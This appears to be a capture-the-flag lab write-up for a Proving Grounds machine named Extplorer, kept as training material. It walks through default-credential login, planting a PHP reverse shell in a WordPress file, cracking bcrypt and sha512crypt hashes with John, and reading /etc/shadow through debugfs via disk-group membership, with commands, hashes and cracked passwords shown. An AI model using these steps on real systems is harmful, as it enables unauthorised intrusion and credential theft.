Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-title: WordPress › Setup Configuration File
|_Requested resource was http://192.168.209.16/wp-admin/setup-config.php
|_http-server-header: Apache/2.4.41 (Ubuntu)

Web Findings

Gobuster scan reveals a /filemanager page which is an eXtplorer login page.
Default creds work (ALWAYS CHECK FOR DEFAULT CREDS) admin:admin

Initial Access

Once we’re in, we see that we have the ability to edit the files for the WordPress instance. I navigated to /wp-content/ and edited /index.php.

Pasted in a PHP reverse shell that will call back to my listener on port 80
We’re now in as www-data

Lateral Movement

There is a user dora but we are asked for a password when logging in as her. We find her pass hash in file manager in /filemanager/config/.htusers.php.

┌──(kali㉿kali)-[~/ProvingGrounds/Extplorer]
└─$ echo '$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS' > dora.hash
                                                                                                    
┌──(kali㉿kali)-[~/ProvingGrounds/Extplorer]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt dora.hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 256 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
doraemon         (?)     
1g 0:00:00:02 DONE (2026-08-13 19:23) 0.4464g/s 675.0p/s 675.0c/s 675.0C/s rachelle..something
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Privilege Escalation

Dora is part of the disk group, which means that we may be able to use debugfs utility to real files owned by root

df -h

Filesystem                         Size  Used Avail Use% Mounted on
/dev/mapper/ubuntu--vg-ubuntu--lv  9.8G  5.2G  4.2G  56% /

This partition is mounted at / and will let us read all files.

$ debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs 1.45.5 (07-Jan-2020)
debugfs:  cat /etc/shadow
root:$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.:19453:0:99999:7:::

Crack with John:

┌──(kali㉿kali)-[~/ProvingGrounds/Extplorer]
└─$ echo '$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.' > root.hash
                                                                                                    
┌──(kali㉿kali)-[~/ProvingGrounds/Extplorer]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt root.hash 
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
explorer         (?)     
1g 0:00:00:00 DONE (2026-08-13 19:30) 1.298g/s 5319p/s 5319c/s 5319C/s adriano..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

su root & enter password - grab proof.txt

NOTES:

  • Do research on where a given tool stores user credentials -they have to store them somewhere
  • debugfs could be exploited if the user is in the disk group
  • Use John when hash format isn’t known